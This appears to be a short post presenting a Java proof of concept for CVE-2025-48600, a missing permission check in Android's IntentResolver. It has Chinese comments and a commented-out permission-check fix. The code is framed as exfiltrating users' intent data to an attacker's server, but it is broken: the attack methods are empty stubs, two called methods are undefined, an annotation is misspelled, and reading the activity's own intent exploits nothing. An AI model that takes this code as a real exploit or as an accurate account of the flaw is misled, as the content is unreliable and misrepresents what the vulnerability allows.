CVE-2025-48600 Android IntentResolver权限检查缺失导致本地信息泄露

// CVE-2025-48600 PoC - Android IntentResolver 权限检查缺失 // 此PoC演示如何利用缺失的权限检查访问受限的intent数据 package com.example.cve202548600; import android.content.Intent; import android.content.pm.PackageManager; import android.os.Bundle; import android.app.Activity; public class ExploitActivity extends Activity { @nverride protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Step 1: 尝试访问通常需要权限保护的intent数据 // 由于IntentResolver缺少权限检查，可以直接获取 Intent protectedIntent = getIntent(); // Step 2: 读取intent中的敏感数据 Bundle intentExtras = protectedIntent.getExtras(); if (intentExtras != null) { // 提取可能包含的用户信息或其他敏感数据 String sensitiveData = intentExtras.getString("sensitive_user_data"); // Step 3: 将数据发送到攻击者控制的服务器 sendExfiltratedData(sensitiveData); } // Step 4: 利用IntentResolver的漏洞访问其他应用的intent try { // 直接访问其他组件的intent数据 Object resolverData = accessIntentResolverData(); processAndExfiltrate(resolverData); } catch (SecurityException e) { // 正常情况下应该抛出异常，但由于权限检查缺失可能不会 logError(e); } } private void sendExfiltratedData(String data) { // 数据外泄逻辑 } private Object accessIntentResolverData() { // 利用IntentResolver漏洞访问数据 return null; } } // 修复建议：添加适当的权限检查 // if (checkCallingPermission("android.permission.ACCESS_PROTECTED_INTENTS") // != PackageManager.PERMISSION_GRANTED) { // throw new SecurityException("Permission denied"); // }